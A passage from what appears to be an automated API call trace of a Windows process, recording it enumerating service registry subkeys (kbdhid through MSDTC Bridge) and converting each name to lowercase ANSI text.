lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0175.956] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0175.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0175.956] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0175.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0175.956] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0175.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0175.956] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0175.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0175.956] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0175.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0175.956] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0175.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x21f1d18, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0175.956] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0175.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0175.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0175.957] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0175.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0175.957] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0175.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0175.957] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0175.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0175.957] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0175.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0175.957] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0175.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0175.957] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0175.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0175.958] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0175.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0175.958] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0175.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0175.958] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0175.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0175.958] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0175.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0175.958] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0175.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0175.958] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0175.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0175.958] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0175.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0175.959] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0175.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0175.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x21f1a90, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0175.959] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0175.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0175.959] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0175.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0175.959] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0175.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0175.959] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0175.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0175.959] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0175.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0175.959] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0175.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0175.960] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0175.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0175.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x21f1d18, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0175.960] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0175.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0175.960] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0175.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0175.960] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0175.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0175.960] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0175.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0175.960] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0175.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0175.961] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0175.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0175.961] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0175.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0175.961] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0175.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0175.961] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0175.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0175.961] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0175.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0175.961] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0175.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 